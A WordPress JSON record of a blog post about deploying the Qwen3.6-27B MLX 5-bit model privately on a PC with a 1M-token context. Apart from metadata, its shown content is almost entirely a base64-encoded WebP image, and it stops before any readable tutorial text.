{"id":9293,"date":"2026-06-30T02:37:23","date_gmt":"2026-06-29T19:37:23","guid":{"rendered":"https:\/\/rockmen.id\/?p=9293"},"modified":"2026-06-30T02:37:23","modified_gmt":"2026-06-29T19:37:23","slug":"how-to-deploy-qwen3-6-27b-mlx-5bit-100-private-pc-with-1m-context","status":"publish","type":"post","link":"https:\/\/rockmen.id\/id\/how-to-deploy-qwen3-6-27b-mlx-5bit-100-private-pc-with-1m-context\/","title":{"rendered":"How to Deploy Qwen3.6-27B-MLX-5bit 100% Private PC with 1M Context"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRsBHAABXRUJQVlA4ILRHAADQKAGdASr5AUgBPjEYiUOiIaElJ3I6cKAGCUl\/+dv0r96uEH8xvKCC2Y\/H1LOeTqn479v\/tP89+3f9p\/a75zOO+6b3X+B\/YnxTfwPCr43\/cf9T0WOiv+D+c3+H+V\/+s\/8v+f91X5u\/2n+S\/fz6BP1a\/1X+P\/I34t\/2998H+D\/5X\/R\/wHuM\/oP+C\/9H9\/\/f\/5rf+v+0fvG\/y3+7\/Zf\/Z\/IH\/c\/7R\/6fbx9UT93PYL\/b7\/2+ur+3v\/E+WD+q\/8L9p\/ga\/nH+V\/+f+z\/5vwAf\/\/2yv4B02\/Jf0z+bP438lP7v05vsR\/dfnQxv\/IeC\/8z+7v47++8e\/AL\/HP5d\/jP69+vXK6AH\/UP6z\/gv8N+3X9j+Nn8H\/q+qXzn+4H+tf\/A+2T2x\/KK9I9gX+ef3X\/w\/5D8nfkq\/4\/8v\/hvXH9Sf9r\/Q\/Ap\/Mf67\/uv717antD\/eT2iv2dD719aT\/PVRckecXmb4MWOLJq4+KI6IcvKzu2gt+LbGKUHDvGY+QAwjyY5w\/zbGgfkSXgm\/XPp2O+Rcs6u5pYGT1MNTT\/4JFT27jHtj70eUXDWkvsly5kxHas\/bz2kmoXZI75zKkH3LMvxjSK487hc6PRffb8A\/OGQid0g\/vgYf3\/rpYiVstJwE+cDgNWpZnT02X1verG7EVeEZSPuR7+pPvWz\/RC9EsKU7lPtdvzLz4TcM9ks\/G9cfVeG3F+tmX5wS8kUR\/SsPH2F\/aeRHcNIbMWi3Wm7KhnxwSuAx+NODLE743XtwB3We1dQ1N30PeLBHrWQslP15VvTmp1agTsuGqZUEv296k9hq66KrvAkjsXtYIpYeJcTEnxU1TvGqlacZ9v9XAo3N9dDEIpLlv0QOpWQ1L73ESwnEWs9TXvDbCvVsq5Flzh9rWBOIakQP2K6IYsyXRb16AzmrRKsj\/u9vYAkiYmFs4N7waO1kXtQhxSNxJZaV9GvX5TGKXw9eoTjy76oXakzuixOCULGGAoNB6Y4EGtkv4V1enOBS0kkIvHITEcBxSIgmth5tVEgKAFvTtixrnfF2J3\/Dom0KbvolVpUKL8aSzq4QAYD0kV2eOrmwtW0N2yTbutcyUL6ImczIVub+XCX9aLlNMiGnn0hNn3ujOVOhgEDime\/qIxCmPkonLGshM4f8ch9uRvAcBLjzMZuhrmg0+oljh3\/BzPzSoEF9RuhVw+8mP0KuFd\/3Ph5oO7D8s8uhYhJJDzaF4C90rlEiW244y0SMcODYz\/mYbaxoTCBrqkMhO68O0eEsNlpki9L7DJJaXX8toPQT4W51WVcN1cs\/UU\/AmbzTdLO\/LC2eod2sb6uzPwja9TPL\/veqPlvjF4fqK1GGEmO+yuPVEGIdUrYsbVNFXtqPG7CrzWuW\/drLji4xF+7clrIIDpRK6OtLV2lGV\/PndSGtdRfw0MDVs29vzxhYPtsjBrDIS38XkcDl39w10dd9iG+Qp214irvJAzxk\/vzVRCCUI87zigix4nzvWX5U7FijzxsmqJKl3QAeKFO8EYytvMmmQGOASH+e+0rhJUtTc\/wchV4m2PIjex5L9jyA\/x7QCGFiTGgPuOLsXEiM3eWjEb5STxbZlA4OnRuCjC1KoNYGu\/QWBg+Y+cwS4ZsZk72CaLw+NO9LedSbk8KHnZtDuLDJNXfnaBZRNGcz1aMnpU3KDLTDFP2QZHg+eWhl4+hArY+RLpzKrcrtDKfvBeo62WviAkNS1GzT7qiuyBnQ2joajjZBAhIjq53OsDq+a\/\/y\/HtOoJSWG7dig4umiMT94zlqPlvJKjhE5sgW+K+28rogP8Zr8YJEfKuYlOmwYWh7s4lFN1\/mjRTHf65YYBEeWqwJmOAND7sy04PzfgoFfYN9lZDyZh6eG6kDuO0cmnGOIz6ByTfyuH4xTJXp35L87yk30qbcPqmoPDVIEIW5f\/lob1L5I3zj6X+LH2BuwcdCbmlUF5IJqqg1CJYSwVPsJw7Ph7KJMZLrLagrizvt19jjUMCM2P31S3w1c0hQqFQILeVQ2FeGl+U2XaQ3JQw6\/Au2F+AKOn2DeMqV3pYM33tB72DmJWKCUY\/Ry46b1D9ZC6i0Yp9mKgEWpk0Dtq4C6opv8mZzjwL56BVpxEhHkLh7lUAbSoiHK+dK3FVOPSrmsxeRSsMNX7Gu3VZQ\/1G+TSn961wa7SJ0cgONfCz5s9\/XE4d3byMiNrLY+2Ui0IhgJNn39DiCCkAZT3tOA+bQW5FsdASx0LuQa+qOBxhl0M8\/qtEC1c1K0U30iSRpkmg97Go39LBZ1ChYmdqnVVWPyZJKfqUr9Z7SyNXBDdJ6D\/7y+ybhuyvI7kcUszDpDAIPDGzdbGKApj6sDlpWDWPhG\/LmcI1cbdjvlNpD2OZZXMnUMqcTFSoQma7zr5O9zH0\/zsIRf4ZTMFvgLPe4kB1brlH3mHKnOTQ3hcLER+oCp68mkfDRhVTr0LyevCMvwLb+GNesRluNNllwA2LWVqAgiKS1V1VvcJlsItwlzH4\/5yTu\/7yQGXh9p9tZSr8Q95dtCFRC9Y9xQWzWpO0nQU6wSc7GXKP2mzAX2mMeoXA+HSnJd\/AMRiTZO1PTJtWc2TZlTYaS6f3vdl\/4+0kellennnz7O\/B4TPo6iz4GkNMNxo7l9vzYfH2ZD9UPFBR98T3SDStickJKefQuvclBTviuwDrhqajwG2RBnpoLvFGyJqmmrVqkpVX1RoJ1t7bPJP+l6ZdD7Tv+9ERiqi94hIjYT7AtPekWvGj9rHaCg7pb4ylzixAxRZkUNrYq\/5QjgDDi5O3Md3Ye\/TNZucGwiT8CA6OjAFFUVxMWmbu49Mtv2rjSBsUcGF4upDcd9Ypaz0aUt1KWAGVTrtOcLA7K7M\/Eqzcu8W9G4PNBKRzBX8p\/SjygHyoIuFfJya58SrpFuHEzlzkYv4rz6vDo+jRdXy9qi3qh69GdmmHK9Hx9gFIfOY4VhKbKTtRJ3cSt\/pxUsfdp4cKrGncjl38BjrjPTRdQLJPzPUMSZuZrXPm9QaCZijGWgv8lBY70UcmYovj4QyELCJ9izyE0t5nVE6SlqNyWBu0nns16X8LUJEKNewhm9uLtl77HqN3PkIzoDVHejk09pjBvZhiQKFS9SFhZuG8iutPtM4ACAFAu+dcTQhCcv6KBxAJv1IZm4Cy5xboPAVklRyQxkFUodSXZkfiZnN+YAP7+uHH1YA3K4GSLlMqoSt91ZudboxgJP\/xGs3gljm77JQ2DMoTaQEaQxSLBO2tt7WHP5KA2gIQpiJGreEQytJXHDXUGfYPekbjY1VDwfuSykov\/hq\/itLjaXflX2gUBK18H6E1d1XPTytuLw\/\/40f1+Qmgwn0Ik1T0EFmPc6sX6lJiiPfYj6cIVsFoGDEkjgoGQW12ct8xp1aeUSatQUeF5OlX+nq7vxNy67CgSceJlmwvYvKwQWQAu2ti+10AQtIq\/Co82N+8WQzllk225MtR6SK5keZ3AFqDEqtBBHPYpvYDjEJJPv\/DfDTu6kLOTCLgNXaD6cIBeI5FBh5x2cVBgsgx00WCOJrVKa1bXKv9CmKUPkSbETgCmRhNuTL6yY6VaLPEQ5985WzkmqJ+30+xpwV\/\/5mALQzNsFzVZS6Eh27M1LIwXuCuvrp2hwKg02BWf2XEV3ROd8iAEdhGb6lTVOGzsN0SB\/kRtW0AGHxI+sGdRVcvj622uyggnMJnpyxaej5zn0SjbG6ecfFzJVa2sCyYgq9j\/m6NRCz60oNYMmfSIFqNUxMzDiKKUvIoiEw289I7wjkutd94hWS\/\/Eo2JbkWONnipIlb6mTJDJpF\/mRi6IVHhcyYNkjiJEKbdRWebIcreaI+6czbT33f\/H3sa6hzgwLN1STVl5LSynFpnbxUlGakxcv+01PdHpnKmU3LMcgDeJxV\/etqIWs2eZmChm3bPfSGqY3Euc13D5RyJcX2DJQWMLgmLfmP8sS5MNCr1hQafTSKOxAnsNfw5MvZSQIyM+SS1PGXhZ6xI2OoDEmUiXMxDdXvQ3tPO9Bww3hqFlhSpS7lcC2pYjItVkZE6iE3JaJxzFQJEqJc1UWQB8ReLX\/M0PxXury1gb7Dh2HbrtWPUTuvXuEdIA9myuqXv0cZ6I0unpQYFYHfGRqLkETsDCUq81PoXkkrbAXhdDXMVP4U0Q2mhmVb0s72SckrmBmq64rQeX280TQLxwoDNh7nDp3QTZUm1X69oACSCjfCWK6\/9mmMEWOGzJ3d88RqX4NzLM9OeAAVnqRlNr6we5q+PVXdh2lKd5qzCfwFbQaANrO0GhkcQ0fIA0vIgEFLztr8wZ6cgnp6TlYmH0KMzuO4J6nnjzw2vvSk7z3n+I28Kie2tmYwfBNfcPmZEbyAYsQlsmzF6OAbUgRImwXkQw0pXztswQZlDZDJ7SRb+xKUPav5Tp+XT6P2MXZ2QizpqePMatk4tJ7cSGS2IpHcYrtRJhT52yQeimJfgag+ExQjq+p5Sy\/z6EsvPWk5B+hy5WitA4e6jnC0vy26kWldE1LrXKLs7ND3510\/qybdwv6FeAqSOdl0ooK\/BXB0TA8y6I6exfyskKU4PPmyxeH\/dIgy40v6L7r8v4IpvkPidyeyOhvV+4ycKXTco6H4ye4+FGlbWDWgRBgav7m4njLWU6v\/bLEeKdobI\/wn7CCZgn9DR+cV5mrIVCw36KCMF0K73LosauLZNtkB0emcgAhJgM8tYmbJc4SHcP1KaHeI1wbmdUsozGCBG07Dz2CYmiECGtEGNdSKukk9hfIoHGpWTFxhR4GRqNwZmreDqC0j4CXO9nj19mGlDqXo2+3UAITJJqdKvUNzQbVoe0QxPmM6g1m5D6LgG4wn42xxg3kRl0zWnGUungqVcgusr0arbR4EQNFjc8pcCRRgO4j5QT3fooi8NroWC20yu+spmidcdphoniH+v\/HXGfNUfQpZIsRK6F+7UNHvfTzanKKR8Aqp4JKMqOeWnujypZey7dSvTFv5TQxDZNI72fs4\/\/bhjfwvEBOInTmiqlwa1wW9hWWyYwW1oGqie50t+Rgw10HtnWyWrw4jSlShZq5NvnJ8Ez1ebdTBwPzZ+pgr6tb8EdLWYYUqUo6Y0w4PWhzd6Urz4V7rRf+4\/vkJS8Be0Z4nIfmb7rYVTZOsJUUpi47\/Zis0wBNK\/o\/7oLLSdEkp05Mb\/HIjR8bQsNj\/ZqPL+q\/RWYxt1mAE1oAmYVQ77c0XV9hkAaox9yEdqYDyE1du3jvfIv\/diOG4rE5mU6OWkXqJvir4ftRnH\/5ecSXsT98SINQ0vjuUPbghOKOzP7dQ7R9lGcWWR14dPSkMEn2YaEKRT6r+ZgPoq0Nn+XFqgLPIbyzYhDkJfsEPwvAwnthfPZo\/DtZXGZ7igUW\/TqV2bs\/DkkCpiTx40h33JJcV67rM1o0o7n6udiD9x1z0SVtJqQ0yEBxBL6zTMKyHFbPIxv9NNYf\/H15Blhe4afBqrEfFkNITqqqGKwhta3HHM9qoxcmJ1iwbvMZG5oUqYHsyi9xSxYvEnTadNMsnakia886fIyjCuETrus8NINOfUFdll4DbokNOYa9qTSR4KWhCwGAuV29bjyJmTvehG4+VQHpVtm0V1DmIDFlgY9KKqTdjTzULjRXTLwAkt6fPNcJkwAP9gX5yFTE6Yc4a5IGGURvqDZYRQgjCYjEJcQuUfrMN0hmVIn8SYXiep3VO3YfVFZplKZMoRfNb1GIIrjShOWzpQukeagN01eIHzLkZXPl+BbgoWpOTdvsZvzXOnO0Cg2eAdIYIpILAsBRkdFZQSedCfhlQNMMNt1zBpr2HkLx37xUcEtbrGX+nFsk04g+YP3I7fgbUr5vILnODpjPQ6sU5w27Ydw42aFB3bsH7KrTcuRfkkcLWfiSIQNIB7A0BOytzI1Hb\/VbQevFl\/AGsUSGWUxMGnfeIvwt8bbMLTav4SKt2mdbRtQLVQNtcCGX31A9JHne9u2J5Dp2CuLS1U17mJD3Ljv1BtEL8w\/3vIf41CW27X7eHz8J3Jv8qeoJMgDAYkrHUByz81tmwcItBnG7RLOeySLSc5jt+oiOPUha6bpKUipklAiJq6R9GVa5Zn\/oATEYWVyTp8IZeOXBBQHoUyvbDyTUX5UaX\/8lR4il3L8FHJHzW7CKscBVw\/MmbD1TQG5CgraGZOO\/kBYFyj9SOtRSveQjEeapLwdacze4P74TRN5\/+ugyLZ5C8mrSILZbEb5ggKF\/nr\/vbXhGi0yDNLG6MxnQ+eXnWMdhiHrt+X1ysZrq18Yz9i5cXiCNw0M2qlt6SxhttOj+OBS+oMULDfoh\/ABGzd\/Cr18bS8BRb8M\/HQOBUEg4Y\/ShpQJokxZlgXrNC4PI3Mah6dJKjlL7duQ2k7XLNmFQjdq2yfn52eHOJRpB6nmfwRIzArGCa71X7BYHsXHRDoQTl5T\/n95kClZIIxUXqFahHxzXKjhskeKrhmq5gQdxH\/7OJyj83+UdJ5tPQ0tJUheJs5cSV55b2Xs69tUZ7aSVNWx6WVKZYBuVT5Go9QA9\/Af1SrefjjmPyXXnmnkSt\/duXhyKoh807lxEyXOyzJl+8u9amoHfOggV7v88\/AdcUc+n9D0FFTMLQXE+ZSprmSlReTEOQILRQKs9KtRJK3bcVt+hyOZgKstNFvY1jUZqSaJzRIEcnrcHfC2+wUDxHIhp7JVBPtBmguuUNcw9LuvJ+qP++6Ncabea3jy7IaQKHOeNgSFMVYkwADvafy790wUdpPGWUEP1pfIOqdMWjpEQc1\/mLSiW1OOCz6xImh6MIEQ08vkgRGSnKWB6hwTgnbpP5NRIa6OfK\/NjsmXB96XFRpkLDIiKyeE3Sa0pakC8xW+T7fosV0DcQ6WlG1ePWqkd\/dCZDYYQhODBcNL9EwrAb0\/amNrm9nz8WW4owwl6eQPOus1RO2KHQ6OrZ+BfXYQDxdGRPGEX38eHUaQ13TUXjZiD70sExi5KIbpiDQvXdqy8CdeV7iLK\/rHv7mHK+0oBzIhw+gY9THKMzOkTCNuzVJXRqzhVrTckVA4tjDJRzGNMoBa\/NlvU3xCDXhYiAPdgyYRMvJzEwut6txzkwy8BgPx1n\/YNd\/KQyMty1YfLiQdMbWh3MVvkLelc8vewc5yR6eW6iqmGW1bLyAsonhPRbTGwaoIOBUN8pPUMms856\/S+j6G+VKsdSHNsM10fKa65NeUm87eyB+tm5p961+m6naOoruYpetQUQrYjNFPZCVGpyJUbCHYU6qACehIiS9wx9cUpBk6sDCloqDGEp9kx\/bVXXal41A0Zq4g+VBPCaw\/H8aIviX39rQ\/RTDWgEKTbc04aKCXsaAXMkfAJrwrfneh2FDafjdki+0psLGTAgLLzGMTJ4jy1yZeNRoCqHXn32NDqsPxztRahsEEDtIlMOO3VwkoHKcF\/cxQ7L6FVr902KcW05wB3oCOu2zSqh2d2BYVhgbq6xEwveFMNRtbdMV7cF8wqer52UQBNs0i9a8JMIXlKVtNa+oW9b7Erj4D8SebDuX8KeWuvR8VxlzpADeUqamezTo9t3ZA7cJDE0OEYNwq\/R\/ZoSZE0WdxBcAv0sczHgricDL5S7vH81cYofXKF4jXDF48JPFntuhk8IIVR1MmaL02XG9drZ9k27hxxj4bnih124YrE0oAxt5JhiVp+dnTcWHE6O8vCimtcUp0UAO0ZzLVz9NxaiVktOaLulsN\/blZ9rEB3TTK6ii5acgQeqxpMAHMNKf917NHK0WAbePohGjq7U4jcjBGcQyyc\/gaNbnH2miVGY\/Pw2RkwuQXe6T1Bth4mN3jgDac6X5Ed9lgLjkHaKSiDmHwFQ32zDGvsTZWJG7btTVHQ0FW2PcPJ6VytlBSo9KqsoAuGlpq1R3WU\/Y5pDKb1paA2JwiZOvfysac68iKDLna9E0EmShnL5W4EJqtFkHaTlye2MMTM6J7tzD3eglwV4FqYHs\/igj\/j4CVI3uzLlY1fQh\/+6SfWREzzBNt87wgKg4n\/uqCv0fCK1DPzMSFh+nKzK\/NzgRg8samW5T+EsOudeAj90+rGD\/Ejfmq7FuYGnZnutZa1gpfPRishDb0VCsRemIIj9\/YjzN\/zz5gmyJWvCti0PDbYSCW5JknqjenGEwp2cGMrpsIYF6n9NGgY+DgUGne\/IpfyE4+viGxePRQ066z7sTCwlXJ\/bXJEUFKoFenepRod08QbqsWLCjpQd+4ZbZSyy96huBnnNJXPettgAMbrkVdMW+vJG3KF9sARCHYd2Pc0ECya7jKxq48ls+\/5NCvg3sr+9nrFVgWWFZFR8C2ocjgKqlVIRWS5KZStIUkwckJPVNsl8xHEPiNXe+tnjE0d050tb6fN4WJHosZQoFJd8+xmcAtWneUCsZvmG1G5wNd01DJrQycnYdRCZ70w8wZLQmmJfG8qGWf2HxHKA9CjRNk4G028h2+JD1TZ8Y28ZxhOlQPPIiWEBmWC0ZdRArnIE\/QsieWFKxH1xwhCCsBAdz2IP+GaM9V9l9lhVf0XR9NC2meGSJ385LAIHw\/aBaxi5ssZyZ3SqKViKonJR2vTfGvKEVqfyKHvE3SnH\/sv7dKO3l3wuRpeSZZ+oBOAFKugVxTahdPmlkIARZTGC8BSe7zqKCeZ3o1gwjRxvAm0ompXatmVzxmOvWBAMWt14DUswkybYbARVGc0kI\/lTraWBtFFifm1BiWDdg++jAXjuRjm29ptEg7wqLomJOeHmaD1CRU6fA7WjO4x93l+ZS3+T09q61HVlUTmYiO22Lwa0QcaxdDDyjTagIbewb\/YZgbAdfl54CgP0ZasxHG3LtJ25L+vvkMS9I7iARALLOm7CcWRmL2KJD1tM9Cw4Zzq2RhR3waX7SfvnBkfnzTy8qpRVwNFfX3qFit35Qxd+wzPk4ZDJzG3c\/8pJloN6avh009gQc1bSvX+2nusJhjCuRpTRPmLUeMRdSUfrLVK21AvyVn8SsJELlNw+E48M5kh71X2\/DvaM2Jw3VqwlFZFXbum1yOVRIPKpDjEUq9HizOl\/4PfTXjzUjP4GfETvRAymTFN7Wdc+HpWW0J1o8PFrbyOtVS1UkQGz\/zGNfsaYv7GO3LivLkN8ZH45RO2ScgukmuBTaYDKUc5LLQtvY\/ES0wUpuE+j8\/5gF+yjH\/lu9PJGm2jzlLsiMLBQIQwAbE6YiQ3Do+3TwMRo47TsBlNR5P9aFSY71Fif47BiCbp+OjXGQpGtbzLb5zoxVTm7km75S+sANRO\/hj8c+NVmFexalN5h5bYRi7GzH5tTGOnAgibtHL\/BpJkM01NIoI29NdAKYLnsIcJT0KEjTm8hd6eAeNJhdMu1xO5\/yZtinNH07khGkfrPe0\/9EPi3cuba1coJqWM+d7ivwGg8kZUZOtHuZyn5BSosRnz+ZT72x7o9AZDS1CrEIrcO\/Np4J1aHQiWenuKFz0Iu+nL4dYF6hzlmKqMrBbtIqv5M\/PUmleccnsn0qv50IfxLMoW\/NwshmP20Wj\/uL2Z1+1Q8Kj41oT+eqTszOoKw4jfuz6+Em19Rxwmyeyq1nQHZ\/rFqxmAgXOjMf1J\/EHj5LX3Q6VEax58ZPTssKFlm02FT8\/5fJOP3n6xp6DMlJ2UnHCBYUg6BwtzHmqg+Lxm\/ke8YiPKqvQVHcMtIf9HjiM3ppIei6brX5Gq9JJFBayZzC660rn098l5gL+wANxhNJz9GBuaR8v+aDsFAImMBPo967UfExkkUGXGkLimP9YLY3uAeahxvEUIR5KWnC5XB1gLfDJqpaYAsrwpm59B\/\/F22nalKd33TnaeJan63pDnTk6yfUxC\/+SqtfFvRWoFcVIa5MAP0rzA5IVRjeVhAOnajWkOXzu8YVr4vsMAmthJIAvlDpRmMk\/jl48wlloxCRWtY4AxgGIygeJ++OWD9bxCvJsYrnWybtLmEIRggYcGpTnUBoc4NXPYJckGPRcj+NDcRkz9m4HCMilmu0tQvru0CSPJ47A98doymS6n0PgiZUMIz\/8Qp+13hkYcsDl4LeUjn8yWSVUFBnSSshdc1ruHqzDf4r5NYJipvb3hsf7x24IFKRce2qJvdHzu0hJjaUvJVSmzjCnR7IEu93LPF+cATYg0fyUWNKST02UKPEManLmH9\/3hYnkyF2zoBnBoCNSflB0IIscnLeM3UV1LnSYpiCMuSrcUfQxAkrw03flI7BTQM249Z+NmSfy9+yvhaTow7hJlikP5HB99p\/cD60j0iHJZUdcb31O8SWGRXmMD6ZKwCdZyPMiNVhmXv0uMvQtMA+lk7pHGCT1C3ErFMpNfuWI7je1iqQ4kpl\/2rLkHMub06itKcxSJTqOYnUlkIqkWIj5d8lNrfDX5\/xXY7PV5oqTqdthG1b5Lg3KZSS9LnkeRaolGEdFqOOP9Ye1lIankWLdWr3CAdgmNnBcqkuEOXMOBa31OCEoVeS\/5m92kOj\/iGXGwbtSvSeSxlsFhiTLVPYZdLlo+shkyyxeTPzmlgjIffZklv2GZS4iemINSIlDUq11LZVqmN++oisA8ivGcu4fFKbVjw152jGGRZTpRjF3fLWJvYL9T7ukfgtbLrgpzGm1y5IP\/8L7HH6Sz7HmpdmE0OwJTUIgTo6ITlUbGxSeuEEfxT1CKEyFmLSScgxVU7pHDXvU1rpyEYbaNnBKim58+cEolEIaGrprs0ibkoNt8op0izitE3ynJJdx1R\/aUzodPocJlzcGKt02ZGsxmvwTWrDPIgDaAgV+QdFbZJZ3mkHm2wDhMD3FZkgfyA5omKM\/T7Miy+oVyamXdEGbUjJBv0SE1HotX6jzknjF4TCWhtm0U1bz1jX6wPYhTuA37958rObqfFXJg53\/mUbeBZQUy3QA8bksH30CeX12ZxCwV3PUJNAwF24I42WS5ffGSL4yyXWHuosUxcposUEkoyj8lBUxhX6cQT6Id0gtozoGBvg0cknbBrzK7GvzgMeJ0x1ZkCh1DzDoBYMxuz8Enc9ASFBgpXe6UuFADV\/T+wgVd+yzbFxgvqA\/hxqCobnXJ3j5pHqbb1nCTQyzVO+cGvzFRSn9xa+70BbJxc36Nt1yANU3eFlFj1feUTiVqSkGT0QD96\/fUn7pfGyU6bgB7FBArPsiUycxzZCceF\/jHD1jc8FaH2PuJAxF3SCupNEXA8yRTcBc+n94FaXuF4OZwiGbf9PqTCJ9Ns1tioVgV2VaCQqLkC93A0\/w+aBBP+UpW2rkda1eWugLS6Tt499jESN+17CBffSSGueGB37qbCOHyjMM2RgUiDnj0XB7UQmW2WIS3nxu0z\/5rvrvh9Fyft6ELeJYXmqdai\/xxEs2T0xynzADn6B\/7ZEfFU4\/k3GMu3gVTjmtZESDLhZfSHhdr87mgjE0Rb29lWBfyqLoY2QsUO8h5PKhJP2SOEptKZyCjt3mKk3pDitNzKCjRCo6UtmMAoEI7d5cNFqhxHmhmn1bOg6Mg6K2u76DunBvkYqftI5t0pgBosr+28JZcy1TwNACxecZ2Sn74Dyd7zM4bdWVe1xHhAqU\/+FPQuK15uxr4jHSf6WKCjKtrNfv5Ta1AYpQ1duDXxibzkpiKZAFLDIggRgGbmGSo1MsEScBmKC0+TNmG5lNGf7Qp2NkZLCnH7udfzqHf+URA8AVrR0phKtP73FDuevcsO5HVkFi+mNub\/aQiGc3s0tzPnmZXpAu8TzBz8gWh6coBcmvvIPZPbDBZqQQd3Lo7UJ18qqAGl\/L+dCqucxQDsaY3ykCaVga4XYHfTCVOuGK939lC3guIB6vOoA6sFI2Y9uIbqlMrQbewPs5sheo5REwcjtm3CAsAa5EIjqTFMKG3pUiw7cV8CgEmgcdLQDad5Vk92QgrEwM\/9XJpflhJbvxTrt4pw3ie6J+sknKEtA9Z1xkckj3imP\/4CDWHxoelZT\/r1VP0XtmM4I1ONKvB4K0XhPsWsJuNNkyZvo5+bLHHwPAI3eWPwdW2HhAQXE+5IIbB+v9DnG\/f+sLOcGBoXjzj0Lo\/lx1mytPJAdBXvphtCsjG2B+p8aMxvLesAUgvCPejV1f3EPLl92lxu4QfHzlOk31+2HADhnKrEXTkIbENvD8U\/HD9\/Pfr8amK3xN2swofHl9LiUitSGho1JW\/Sg7NEeW8VXDnT4ibCc7oROonKpV+zTMpMkr+RKmprtMacZ1mkAqZS25RgHzQ4kVFEDmXG0RcZ7Y1nAFStEXvjrOSDllOS\/qPCSDvOdAdj5fXAP9utClDPff3xX873kQHX0oB96PcaObeBiMWplZDh7\/\/F24MDdDxZ7pcqEnfWwZzQXMp\/MzbtkfD0VCiQYyRybtDVXSFwa5UhXMgictA4K7sbCisksoeDsI6vpBnCJpngNdAX1ih+iBd7Cm+IbPUDto7ufTBn7J\/ZFb4kiQJOOCwQXxjKugiyOS\/yya2b4fAWEbLVaTrnTU40zotl8Zgs\/jZD4ZTojzsIc9AGxshyp+hVz8pmLGRTqHcO0gfLSSpnKcRAL9OuX6ShNFdEHRdvw3lsM7n\/wnXomoW3Ls7MbSVbd2VlSPd7hcO5OL63MpVgUeq9M\/VcU1Bos1iHsvBoYk9oaAr7czD0hwElsaOT0wrQTw9W+RFF6J8P+2wKSt\/WGwTCw4RM5awInb4vAJETNOInXnPNq6Wp2cyB+21TKGnIBE\/KMfy+k9tNWd0acO0PzDoX7m4O+aKERkpkkWP\/YjB52ZlOiCQgKQAPLPZxhTzp+o5fWZLtYL39VPtb8XuFsXt80Tj6RG02HOHYtrrU1py+gPegPiJezogLMt+\/RrDv8j7lwl3weasDqHIBpztk2X6\/compaJy1ON+Ol3cEqI\/mx5TccEqoT4J4iwkaxJ6dD06auyN5+VGt6cIZ7qZDc\/wukbgX3Id6W2bOy\/OqdBQTudRSu\/yNcZ\/YbLQVoQbkgSP3bSckujSj0QLBX++HFf11WrHmvicUPp\/caH8OUDwutSSs7xkTomhLEWD\/RRPdXl4vTm4dQ1XGGh9aqkIjUrsHdgMIIrqNsYn7Dcxd2eMjm+\/QUTJBayNK5nVuXHV+sKCm77BlmukuG7R\/3by\/vVvdseO2xxkpU9ERLUddjOB1skR6EB6GekUCcspfHJwFgf4u2EkDheHdDx2ciMM6Rt8U5V4eR7PbP4SSN53TOuuMlEqbRg+mDoVQpnH6B3XqINgJ9nl9fdB4aU\/2BiDji3JZAOHRTcgsCGbud0xCzGjHBTXCpE17F9IwVdauQ1AeUCA11bQb+UIQEqopBxW65JDrl3DAW8agkLtvyWAx\/dLcYRU+uy25u0gJyXscq2aTjp9LUIqyMSX6O+7JCdbeDymuIit8IhAqhnr2I5jqQGpzjVs+ym9U70uynNC1OCGFMYQLPvjUhA3rulCjflgzxnaGjFEqjIVcX3oc6Rl07SvisngEAJV7cA\/6nsVi79T97XbrmMizcONc1H77cKs4so6wfIWa7BG8B77vUByIh5LVtZuPgzge24crdxY747F7GfrjWKkSUWAPkq6IK7g3LT4lhgz\/pdlr6KBoSEsovCMVIXSKwqK1NAVu9ioU2ERYurnqgc\/A+ZO6AUyDCvJ+EuLsNM5T4rOBbaI12vLyZShKQ\/mRd\/OIpKrkdvv+Ib5JWOuDFpveMmcikL42D6YMUl\/gms9+Qpc+nzV04EMSrpr+6YpK3Q8hN8lGA+pZxNr+TjW+qjTbgK6cabNGX4n+G5BIBQUvaIuNy8VcVOnYU4T9ril0uXDkQyefswdXbgV2pUDZ8i552my1fJWS9Em8E\/8aw9NUmtwkqe42Ejx6ZkfKX89p\/4NyIO20mNsUo3uvKDCqMTabfXwr8sQET7JJmyCQtUtgoAv9wnfjVBCXi+0pnfs1ItknNb\/VC8G8+8VDop7N6zirrqN1ETB180HJQ1On72Rm2rgiBW1nVWoPHNWUKjjY97WNro55qo3Q0rTbUnqUhWnHbCGhBpClR9h6Z8mBtTJK0D3P5CecAxQCcgobaPfXRq+jDUPS59\/mDGXow8hOkX9P1sDcX1OM2tVcZNj7hxcEpYAp6JDfbs8JrCzQaVg\/QRrRVhwNN9uvjYwaXMzmKB7YewHpfAHi3X5vVIwMytlXF2fwO6tEnV6EemQoF27\/o2hhqREqQrwBOmFVpCXRTzXnanasuUvfk4fflLOtD5K7e2YSIL\/yc90h+90H\/8wSowH8rN54NhfoT30KfrRhAppll9lZEoyGOWz4T3N7N3y+aq5Q04rrovs5POtPENDQYlhlmhGPhTcArI2qkLuvuesZ92hc4\/XpiCMA4CcxNdBz60cD9sCuN31zt5MOnv8B6r7r0PGbvVinPCJSTuZDGQ386omKT1Sfwz7cPi9V5bmVdRZGBnEa7TsYtgOpAVsy\/FSsff96BMgv\/3Adl5bdbIDfQoypn4mnFUTSIEvtnbLfZqVcadDZpiVlo7\/7a1AmUsYW3eEKL5AzCQtlsFkHcE\/voV0KbUzToD6PxiA+taFXEhBMqXuvjb4MMvmn9A+9BX\/LWP9GgPPpEPDS2uRO6EbAgscyNediLfafs8hJNodUaYzsjnJx+seFMRPm48qEjkCtpSEAwhN\/m7d7bwE2E1CFnyLwALmAp76b0Rg5mnjhajHLXgWj26zX+AFds5H71sRh03N2AUG+oNaIccVMSkZ\/Qqr2vJl7\/xuzn1t9f6M48TAc+QL1KGPMzLxxBUhDxi98qiIofAv7eL8W5aq0xxKFat2jPSH8jLbhRNb7\/\/0Hz6eB7SLWHDjqMC98zY4obsgZsWK\/hbtOqR\/Bb74Jtv5nuH0r6PL5DAeXBoHZQ2O\/1KEE2N789B\/YdSgEH+0ryJwLiXW85S\/7tctLZd7d4e3xrXe9WhHlHBCP9q\/G1SO+ysC9Bq212I1bL+ci3SD5g+oDVShBrGw579llPH2tjTRX7ZBr+NhK7Zea0K8pTYEjAXMLKBbb47PRyCH0rp2DG2Ocb688CJxi67zomQmTtU1r2IuQrM4qSUsMiUXEzYu6XkdUE3QFEGUQ57C0fpzSvJR3bFOio5fCfFLJb3bKKhY4fFSawuIKvG9PMYnUbPnha+iX3diN7nij9aAhz+LNHLRqgJEADFfcpACSREXfTeYSFYNR7drJqAh9WmnAElDzi5E0y83vscE0CbGQ5I+vZhxqgNipX01nV5uQFCEcWuwmNh9qBYFIPblc5eM5nn